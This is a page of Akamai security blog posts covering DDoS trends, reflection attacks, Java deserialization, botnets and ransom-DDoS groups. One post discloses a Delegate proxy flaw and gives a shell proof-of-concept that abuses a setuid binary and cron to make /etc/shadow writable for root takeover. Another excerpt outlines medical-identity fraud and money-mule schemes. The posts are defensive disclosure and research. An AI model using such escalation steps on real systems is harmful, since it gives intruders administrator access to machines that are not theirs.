Skip navigation
All Places > Security Research and Intelligence > Blog
1 2 3 Previous Next

Security Research and Intelligence

77 posts

Each quarter, Akamai published the State of the Internet / Security Report. Download it here on Akamai Community to learn about the origins, tactics, types, and targets of cyber attacks and emerging threats. All data is garnered from the Akamai Intelligent Platform, with post-attack analysis and conducted by the Security Intelligence Response Team (SIRT), Akamai's in-house team of cybersecurity and DDoS mitigation experts. Each issue includes quarter-over-quarter and year-over-year trends, plus spotlights on recent DDoS and web application attacks and review of the past quarter’s hot-topic issues in cybersecurity.

 

Also available for your use are the images used in this quarter's report.  

 

For questions regarding the report, please reach out to us:

 

Email: SOTISecurity@akamai.com

Twitter: @akamai / @akamai_soti

Here on Akamai Community: Martin McKeayAmanda Fakhreddine

The Akamai Security Intelligence Response Team (SIRT) recently identified a new Connection-less Lightweight Directory Access Protocol (CLDAP) reflection and amplification method. This advisory analyzes the capabilities of and potential defenses against this new type of reflection attack.

 

Authors: Jose Arteaga & Wilber Mejia

 

Full advisory available here!

When Things Attack

 

"Researchers at Akamai have been monitoring the growth of attacks leveraging Internet of Things (IoT) devices. These attacks are coming from compromised devices of various sorts. Akamai works hard to protect our customers and users from these attacks.

With other, non-IoT types of devices (including general purpose computers), owners can patch or reconfigure their systems to close vulnerabilities. In the Internet of Things, device owners are often at the mercy of vendor updates in order to remove their devices from the pool of botnet nodes. In some cases, IoT devices are entirely unpatchable and will remain vulnerable until removed from service."

Read the entire post on the Akamai blog

Or, you can read the SSHowdown paper here.

Akamai is aware of the research paper titled "Forwarding-Loop Attacks in Content Delivery Networks" published by Jianjun Chen et. al on Feb. 29.  We have reviewed the researchers' findings, and are confident that we already have adequate counter-measures in place to thwart any attempt to use Akamai as an attack vector in the manner described by the paper.

 

The paper describes four types of forwarding-loop attacks against CDNs: self-loop, intra-CDN loop, inter-CDN loop and dam flooding. The paper acknowledges that Akamai is not vulnerable to the first two. The third attack (the "inter-CDN loop attack") is described as a looping between multiple CDNs.  Finally, the fourth -- "dam flooding" -- is described as coupling "forwarding-loop attacks with timely controlled HTTP responses to significantly increase damage."

 

While Akamai does not publicly disclose or discuss our security countermeasures, we would like to reiterate that we have sufficient countermeasures in place to detect and defend against all these attacks, as well as substantial capacity to absorb traffic spikes. If you have any additional questions/concerns, please reach out to your Akamai representative.

 

Reference: Vulnerability Note VU#938151 - Forwarding Loop Attacks in Content Delivery Networks may result in denial of service

Today Akamai released the Q4 2015 State of the Internet Security (SOTI Security) Report (download here). I'll write posts throughout the week focusing on specific parts of the report, but let's begin with an overview in the form of an infographic.

DDoS metrics

Compared with Q4 2014

  • 148.85% increase in total DDoS attacks
  • 168.82% increase in infrastructure layer
  • (layers 3 & 4) attacks
  • 49.03% decrease in the average attack duration:
  • 14.95 vs. 29.33 hours
  • 44.44% decrease in attacks > 100 Gbps: 5 vs. 9

Compared with Q3 2015

  • 39.89% increase in total DDoS attacks
  • 42.38% increase in infrastructure layer (layers 3 & 4) attacks
  • 20.74% decrease in the average attack duration: 14.95 vs. 18.86 hours
  • 37.5% decrease in attacks > 100 Gbps: 5 vs. 8

Web application attack metrics

Compared with Q3 2015

  • 28.10% increase in total web application attacks
  • 28.65% increase in web application attacks over HTTP
  • 24.05% increase in web application attacks over HTTPS
  • 12.19% increase in SQLi attacks

q4-2015-security-report-ddos-stats-trends-analysis-infographic 2.png

Akamai's Security Intelligence Research Team (SIRT) is conducting research into the security posture of the Internet Key Exchange (IKE & IKEv2) protocol. The paper outlines the findings thus far, including configurations in the protocol itself that attackers could potentially leverage to launch reflected DDoS campaigns.

Our motivation to examine it is based on the nearly ubiquitous nature of IKE/IKEv2,  which is used to facilitate secure key exchanges between peer devices in the IPsec protocol suite. It is widely deployed in multiple secure tunneling applications such as VPN products from major vendors and open source projects.

Given its heavy use, it made sense to take a look under the hood.

Several UDP protocols have appeared on our radar during more than four years of active monitoring and advisory releases concerning reflection-based DDoS attacks. Results yielded from this research have gone into Akamai's State of the Internet Security reports supporting active trends in the DDoS threat landscape.This history has sparked efforts internally to help discover potential UDP based reflection and amplification opportunities, with the goal of disclosing, cleaning up, and fixing issues before they can be weaponized for DDoS.

This is our first piece of research in this regards and is dedicated exclusively to discoveries in IKE/IKEv2. What follows is what we learned after setting our sites more intently on the protocol.

The full paper, available here, delves into the history of IKE, offers visuals to illustrate where the weaknesses are and offers steps organizations can take to reduce risk exposure.

During the past few quarters, Akamai has observed and successfully mitigated a large number of DNS reflection and amplification DDoS attacks abusing Domain Name System Security Extension (DNSSEC) configured domains.

As with other DNS reflection attacks, malicious actors continue to use open DNS resolvers for their own purpose -- effectively using these resolvers as a shared botnet. This technique has also been linked to the DDoS-for-hire underground market.

The attacks are outlined in a new Security Bulletin written by Akamai SIRT, the full report can be downloaded at the following link: http://www.stateoftheinternet.com/dnssec-attacks.

DNSSEC is a suite of Internet Engineering Task Force (IETF) specifications for security certain information provided by DNS. It is essentially a set of extensions to DNS which provide origin authentication of DNS data, data integrity, and authentication denial of existence. These additional security controls are designed to protect the Internet against certain types of attacks. A list of all RFCs associated with DNSSEC can be found here: http://www.dnssec.net/rfc

To date Akamai has observed several domain names utilized for these attacks.  Although the domains listed in the bulletin have been used in these attacks, other domains can be utilized. 

Since the beginning of November 2015, Akamai has detected and mitigated more than 400 DNS reflection/amplification DDoS attacks using a variety of domain names implementing DNSSEC. DNSSEC prevents the manipulation of DNS record responses where a malicious actor could potentially send users to its own site. This extra security offered by DNSSEC comes at a price as attackers can leverage the larger domain sizes for DNS amplification attacks.

Here's a breakdown by Industry vertical of DDoS attacks mitigated against the DNSSEC reflection method between Q4 2015 - Q1 2016:

Final_DNSSEC.jpg

The highlighted domain has been observed in DDoS attacks against customers in multiple verticals over the same time period, and based on our investigations we believe these attacks are most likely the work of attackers making use of a DDoS-for-Hire service that uses purchased VPS services, public proxies, a classic botnet and basic attack types such as DNS reflection attacks, SYN floods, UDP floods, SSDP floods, NTP floods, ICMP floods and even HTTP GET floods.

The report goes into detail about individual attacks, including screenshots and other graphics, and outlines steps organizations can take to protect themselves.

The information security community is losing its collective mind because actors from the much-maligned "CSI: Cyber" TV series are on the keynote schedule for RSA Conference 2016. A lot of analysis has been devoted to RSA's decision. In this episode of the Security Kahuna Podcast, Akamai security's Bill Brenner, Dave Lewis and Martin McKeay weigh in. Also discussed: Some tiny coming attractions for the Q4 2015 State of the Internet Security Report.

 

By Larry W. Cashdollar, Akamai SIRT

A few weeks ago I noticed a tweet from someone I have been following off and on for a few weeks. The tweet highlighted an exposed administration panel in a software product called Delegate. The Delegate software is described as, "a multi-purpose application-level gateway, or a proxy server which runs on multiple platforms (Unix, Windows and MacOS X)". What this software does is allow network connections to be relayed or proxied through it.

The recent vulnerability I discovered in Delegate 9.9.13 abuses a binary that is normally setuid root during installation when built from source. The action of setting a binary on a UNIX system setuid root allows any local user on the system to execute that binary as the root or administrative user.

In the most recent version distribution, the setuid install script doesn't execute because the author missed a ./ when specifying the script location. The instructions on the site invite the administrator to run the setuid binary install script if they don't want to require sudo or root access to launch the software. These binaries being setuid root allow a normal user to launch the application themselves and Delegate can use those binaries to do its root user required privileged operations.

Unix and linux distributions have revoked the setuid bit from many binaries as you need to be very very careful about what operations that binary is able to perform. I remember Linux distributions auditing setuid permissions and myself building scripts to harden Solaris and Linux systems by removing setuid bits from most binaries. You have to think about, can it read files? Can it write files? Does the source code copy large buffers into smaller ones without checking the destination size? For example using dangerous functions like strcpy() that don't check destination buffer length.

In the case of the Delegate software, one of the binaries I chose to pick on allows an ordinary user to call mknod(). mknod() is a C function that can create files by specifying a path, file mode, and device.

From the man page:

The system call mknod() creates a filesystem node (file, device special
file, or named pipe) named pathname, with attributes specified by mode
and dev.

The newly created node will be owned by the effective user ID of the
process. If the directory containing the node has the set-group-ID bit
set, or if the filesystem is mounted with BSD group semantics, the new
node will inherit the group ownership from its parent directory; otherÔÇÉ
wise it will be owned by the effective group ID of the process.

If pathname already exists, or is a symbolic link, this call fails
with an EEXIST error.

The binary I'm going to abuse is dgcpnod, which would allow Delegate to create files anywhere on the local server. I'm not exactly sure for what purpose the software developer needed this functionality but nonetheless it exists. The source code shows us that it will create a file in an arbitrary path using the ownership and permissions of the specified source file:

35         from = av[1];

36         to = av[2];

stat() the source file to collect its file mode and device ID.

37         if( stat(from,&st) != 0 ){

38                 perror(from);

39                 exit(-1);

40         }

create a file with permissions and file type.

41         rcode = mknod(to,st.st_mode,st.st_rdev);

42         fprintf(stderr,"####   mknod(%s,%x,%x)\n",to,st.st_mode,ll2i(st.st_rdev));

43         if( rcode != 0 ){

44                 perror(to);

45                 exit(-1);

46         }

change file mode and ownership to that of our source file.

47         chmod(to,st.st_mode);

48         IGNRETZ chown(to,st.st_uid,st.st_gid);

So we can create an empty file anywhere on the system with the permissions and ownership
of a file we own. OK, so how do we to get root? Simple: cron, a utility on most Unix systems that runs commands at specified times, Initially this only consisted of a single file called /etc/crontab and it could be edited by root or crons could be set up by a user by running crontab -e.

These days, modern Unix systems have broken this down into specific run directories based on execution times. This is handled by a script called run-parts which are executed by cron. For example /etc/cron.daily/ run-parts executes all the scripts under that directory once a day. Files have specific requirements, they must be executable, and the file names must not contain any non alphanumeric characters like _- or period; however, it doesn't mind if those files are not owned by root.

In order to abuse this binary and get ourselves a root shell we need to create a file with a malicious payload under /etc/cron.hourly/ that conforms to the requirements set by run parts.

A simple proof of concept exploit would be the following:

$ touch /tmp/rootme
$ chmod 755 /tmp/rootme
$ ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme
$ echo '#!/bin/bash' > /etc/cron.hourly/rootme
$ echo 'chmod 666 /etc/shadow' > /etc/cron.hourly/rootme

And now wait one hour, then modify roots password hash entry in /etc/shadow.

To mitigate the vulnerability I discussed above I would recommend at a minimum removing the setuid bit from dgcpnod if it is set.

  1. chmod -s dgcpnod

In all honesty, if you must use a proxy server I would look at squid proxy or mod_proxy for apache. The Delegate proxy software doesn't appear to have been updated in over a year and emails to the software maintainer in regards to this vulnerability have gone unanswered.

I suggest using software that is actively maintained by its authors.

The Q3 2015 State of the Internet Security Report comes out tomorrow, and will be available for download at www.stateoftheinternet.com/security-report. Among the highlights: a continued upward trend in DDoS attacks, and attacks fueled by the easy availability of DDoS-for-hire sites that identify and abuse exposed Internet services, such as SSDP, NTP, DNS, CHARGEN, and even Quote of the Day.

Here's a preview:

DDoS attack activity at a glance
DDoS attack activity across the Akamai routed network jumped this quarter from already record levels. Although there were substantially more attacks, on average the attacks were shorter with lower average peak bandwidth and volume. Mega attacks (greater than 100 Gbps) were fewer. The largest bandwidth DDoS attack in Q3 made use of the XOR DDoS botnet.

The online gaming sector was hit particularly hard by DDoS attacks in Q3 2015, accounting for half of the recorded DDoS attacks. Gaming has been the most targeted industry for more than a year.

Reflection-based DDoS attacks are proving more popular than infection-based DDoS. Instead of spending time and effort to build and maintain DDoS botnets as they did in the past, more DDoS attackers have been exploiting the existing landscape of exposed network devices and unsecured service protocols.

Akamai Edge Firewall, a new source for DDoS attack data
For the first time, the security report also includes attack activity observed across the Akamai Edge Firewall, our global platform perimeter. Edge Firewall data sets provide a broad look at attack activity at the global platform perimeter--with information on attack traffic coming from more than 200,000 servers outfitted with Akamai technology. We identified that the top 10 source ASNs of attack traffic originated primarily from China and other Asian countries, while reflectors in the US and Europe were more commonly leveraged in a distributed manner.

Web application attack activity

In Q2 2015, the Shellshock vulnerability dominated web application attacks utilizing HTTPS, but this was not the case in Q3. As a result, the percentage of web application attacks sent over HTTP vs. HTTPS returned to a more typical level. The use of web application attacks over HTTPS is likely to rise as more sites adopt TLS-enabled traffic as a standard security layer. Attackers may also use HTTPS in an attempt to penetrate back-end databases, which are typically accessed from applications served via HTTPS.

As in previous quarters, local file inclusion (LFI) and SQL injection (SQLi) attacks were by far the most prevalent web application attack vectors of those ranked. The retail industry was hit hardest, with the financial services industry a distant second. Web application attacks relied heavily on botnets that take advantage of unsecured home-based routers and devices.

The third quarter was also notable for an increase in WordPress plugin attack attempts, not only for popular plugins but also for less-known vulnerable plugins.

Check back early tomorrow for the full data sets.

By Clark Shishido, Akamai SIRT Security Response Engineer

 

Applications written in Java commonly use a call-in function from a widely deployed library to decode data passed between computers. The call is java.io.ObjectInputStream.readObject from Apache commons-collection.


An attacker can append arbitrary data to a base64 encoded serial data stream, which will then be deserialized when the data is read into a Java application. By appending malicious payloads to the stream, the attacker can execute arbitrary commands on a vulnerable server.


How it works

Instead of human readable text, many Internet applications transmit streams of data between computers to minimize connection overhead. For this reason, Java routinely converts objects and strings into a single base64 encoded stream in computer-to-computer data transfers.

 

Working with information disclosed in January 2015 by Chris Frohoff and Gabriel Lawrence in a talk called "Marshalling Pickles," Steve Breen of FoxGlove Security published proofs of concept, that detailed the vulnerabilities of several web application technologies written in Java.

 

The researchers first targeted middleware management ports with the knowledge that management protocols accept serialized data and thus were able to simply upload base64 encoded payloads to vulnerable management ports.

 

If your website is served by Akamai, direct access to management ports will be not be directly accepted as the Akamai network only responds on ports 80 (http), 443 (https), or 53 (dns). This does not mean a website is protected if on the Akamai platform. The attack surface is reduced but not eliminated.

 

As further explained by the researcher, if a website or the middleware is written in Java and accepts serialized data in http(s) requests, a web application may still be vulnerable.

 

All customers who depend on Java in any level of the architecture serving web traffic must still audit each Java application for the vulnerability.  For example, another popular Java server, Apache Tomcat, includes the commons-collections library by default so all installations of Tomcat also need to be updated.

 

After the disclosure, the Apache Software Foundation posted an update for commons-collection and Tomcat, both projects which they manage. This blog post is more informative for all users of Java. In short, each and every Java application must be audited for the use of the functions provided by the Apache commons-collection library and be replaced with a newly patched version.


Oracle acknowledged that the vulnerability affects Apache Commons and Oracle WebLogic Server, saying in a bulletin, "This is a remote code execution vulnerability and is remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password." The database giant released a patch to address the issue in its products.

 

Can WAF protect me?

The Kona WAF product does have the capability to decode base64 encoded data using one of its advanced transformation functions, however this is not part of the default KRS ruleset. The best method to address this issue is to work with the Akamai Professional Services team to implement a virtual patch/custom rule that is targeted. In this scenario, the new rule(s) would only apply the base64 decoding function and inspection for attack keywords to exact locations where your application actually accepts serialized content.

 

Why not?

Q: If Akamai can detect the traffic, can't you deny all malicious payloads?

A: No. In order to inspect the payload, the encoded stream must be decoded before analysis. Known good traffic must first be identified before a DENY rule is put in place. Known good traffic will be very customer and application specific. This class of traffic does not fit a predictable model for templating as it is often customized application code.

 

How to mitigate

  • Audit web architectures for use of Java.
  • Audit for exposed management ports (some of which may be proxied or port translated by firewalls and/or load balancers).
  • Update Apache commons-collection for in-house java applications.
  • Apply vendor updates as soon as possible.
  • Profile known good use cases for serialized data in all java components.
  • After profiling known good use cases, whitelist and deny unknown incoming serialized data.

 

Examples of Fraud

One money-making scheme involves setting up shop as or working with a clinic or medical practitioner to commit Medicare fraud. This is done by shadow billing, charging for procedures or services that never occurred, or by upcoding, using billing codes that specify the need for expensive procedures.


Medical insurance fraud can also come from the patient side in the form of a criminal posing as another individual to fraudulently receive medical services or prescriptions. Another vector for financial grift takes the form of tax fraud. Using the information found in an individual's medical records, it is rather straightforward for a criminal to both gain more sensitive information and to steal that person's tax refund outright.

 

The data found in EMRs also gives criminals the ammunition to perpetrate more elaborate financial identity theft. With this data they can receive loans, credit cards, and bank accounts under an assumed identity, leaving the victim holding the bag on a tanking credit score and a mob of collection agencies.

 

The fraudulently created accounts used by these criminals can also open the victim up to criminal proceedings when said accounts are used in the commission of crimes such as wire fraud.

 

Bank accounts opened by criminals can be used as a dump site or 'drop' for funds stolen or laundered by other means. For example, a criminal can set up a merchant account with Paypal, Skrill, Square, or any number of other transaction processors to make charges against stolen credit cards. The money from these transactions can be shunted to the 'bank drop' then retrieved via ATM, a money order, or transferred to yet another bank account.

 

These actions can be performed by the criminal directly or proxied through a set of money mules, individuals recruited to shift the money between accounts they control for a slice of the ill-gotten gains. Such practices are so common among cashout schemes that there is an active underground market for said 'bank drops' and third-party payment processors.

 

The full white paper includes defensive measures organizations can take, and can be downloaded at http://www.stateoftheinternet.com/resources-web-security-threat-advisories-2015-rising-risk-electronic-medial-records-fraud.html.

Xor, a Trojan malware attackers are using to hijack Linux machines to include within a botnet for distributed denial of service (DDoS) campaigns, appears to be behind an Oct. 13 attack against a customer using Akamai's FastDNS infrastructure.

This attack campaign started with a DNS Flood of 30 million queries per second and escalated into a Tsunami SYN Flood ramping up to 140 Gbps with over 75 Mpps in total. All attack signatures match with the recently investigated Xor.DDoS Botnet.


Between Oct. 13 and 23rd, the attack was constantly switching on and off. The attack hit multiple destination hosts at the same time.


Below is an outline of the attack characteristics and defensive measures as observed by Akamai's Security Intelligence Research Team (SIRT).


In the course of this investigation, the SIRT worked with Akamai's FastDNS team. The FastDNS team noticed considerable attack traffic while Xor was not targeted at us. It's possible the adversary is employing a multi-vendor DDoS approach and that all the DNS traffic we see is attributable to Xor. That said, we are reasonably certain that Xor is behind all the SYN flood activity.


Akamai's SIRT expects Xor DDoS activity to continue as attackers refine and perfect their methods.


This will likely result in a more diverse selection of DDoS attack types included in future versions of the malware. Xor DDoS malware is part of a wider trend of which companies must be aware: Attackers are targeting poorly configured and unmaintained Linux systems for use in botnets and DDoS campaigns.


A decade ago, Linux was seen as the more secure alternative to Windows environments, which suffered the lion's share of attacks at the time, and companies increasingly adopted Linux as part of their security-hardening efforts.


As the number of Linux environments has grown, the potential opportunity and rewards for criminals has also grown.


Attackers will continue to evolve their tactics and tools therefore security professionals should continue to harden their Linux based systems accordingly.


The full case study can be accessed at http://www.stateoftheinternet.com/resources-web-security-threat-advisories-2015-fast-dns-xor-botnet.html.

In recent weeks, Akamai's Security Intelligence Research Team (SIRT) has investigated several DDoS attack campaigns targeting Akamai customers. The group responsible for these attacks calls itself "Armada Collective." Its tactics are similar to those used by the group DD4BC, where they threaten the victim with emails warning of an impending DDoS against their website unless a ransom is paid in Bitcoins.

In the emails, the group of malicious actors introduced themselves and informed the victim that their servers would be DDoSed unless they paid a specified ransom of Bitcoins.

Armada Collective claims it has the power to unleash a DDoS attack of more than 1 Tbps per second. To date, however, the biggest Armada Collective attack mitigated by akamai has only peaked at 772 Mbps. Akamai SIRT is in the early stages of tracking this group.

The Akamai SIRT initially suspected this was DD4BC resuming attacks under a new name. At this stage of the investigation, we're more inclined to believe Armada Collective is a copycat group.

In the big picture, current attack activity doesn't strike us as monumental. But like DD4BC, we see Armada Collective as a credible source of attacks going forward. Organizations should take the threat seriously.

The nature of Armada Collective's operation and the successes it has obtained has lead Akamai SIRT to expect this and other groups to continue to increase its range of targets to other verticals. Companies susceptible to financial loss from downtime are at greatest risk.

Historically, targets of ransom demands are selected based on their anticipated reluctance to involve law enforcement, leaving them to either pay the ransom or pay for DDoS protection. Some victims offer bounties to encourage others to reveal perpetrators' identities, but this may be unsuccessful in bringing justice to the malicious actors.

When DD4BC became a problem, we warned of copycat operations. Armada Collective is probably just the first example of that. Akamai SIRT has distributed an internal advisory to all of Akamai's managed security customers.

 

 

Customers: What you can do

The Akamai Security Operations Center is open 24/7, and our vast cloud-based mitigation platform is ready to respond. However, there are some proactive steps you can take:

 

  • Review your playbook with IT and security staff to ensure you are prepared and know what to do in the event of an attack.
  • Ensure all critical staff are available - if staff are on vacation or absent due to sickness, make sure their responsibilities are covered by others.
  • Stay in close contact with the Akamai SOC.
  • Check the Akamai Community Security page for updates: https://community.akamai.com/community/security-research-and-intelligence

Akamai released a new whitepaper today about a spambot investigation conducted by Chad Seaman, a Senior Security Response Engineer from Akamai's Security Intelligence Research Team (SIRT).

Attackers are using a multi-layered, decentralized and widely distributed botnet to launch coordinated brute-force spamming campaigns. Chad named it the "Torte" botnet because its structure resembles a multi-layered cake.

 

The botnet is fairly large and uses both elf binary and php based infections. The portions that could be mapped account for over 83,000 unique infections across 2 of the 4 infection layers. While binary infections only target Linux, other php-based infections were found running on all major server operating systems -- Windows, Linux, os x, Unix, SunOS, and variants of bsd.

 

The paper examines Akamai's SIRT investigation, findings and recommended defensive measures.

Origins
The investigation began when we received a short, obfuscated php script for analysis. De-obfuscation and analysis of this initial payload is ultimately what lead to the information leaks that would aid in the discovery of the botnet.

The initial payload used an obfuscation technique that was trivial to reverse. The core process involved building a string of every character used by the script and then building the script using the key string indexes.

A tested and proven tactic for attackers
The botnet described in this paper is not unique, nor is it the last we'll see of its kind. The structures and methods employed have been seen in the past and will surely continue to be seen well into the future.

Attackers will always target low-hanging fruit like cms and web-based software, and botnets like this will continue to grow in popularity. Decentralized/transient and layered operations like Torte offer several advantages for the operators, primarily making it much harder to identify the malicious actors, clean up infections, and ultimately dismantle or sinkhole botnets.

 

Looking ahead
Torte is another instance of a growing trend that targets the Linux os via binary infection. These Linux-targeted infections will continue to grow in popularity due to an estimated 1⁄3 of the public servers on the Internet running some variant of the os. Attackers will continue targeting servers for a multitude of reasons including attack surface availability, always-on and high-bandwidth connectivity, and ease of lateral movement across networks and properties.

 

As security and organizational processes improve to mitigate and combat attackers, they'll continue to evolve their tactics. We'll undoubtedly see more elaborate, distributed, and decentralized techniques, like the ones used in Torte, in future botnets due to necessity as well as survival.

The full advisory is available at www.stateoftheinternet.com/torte-spambot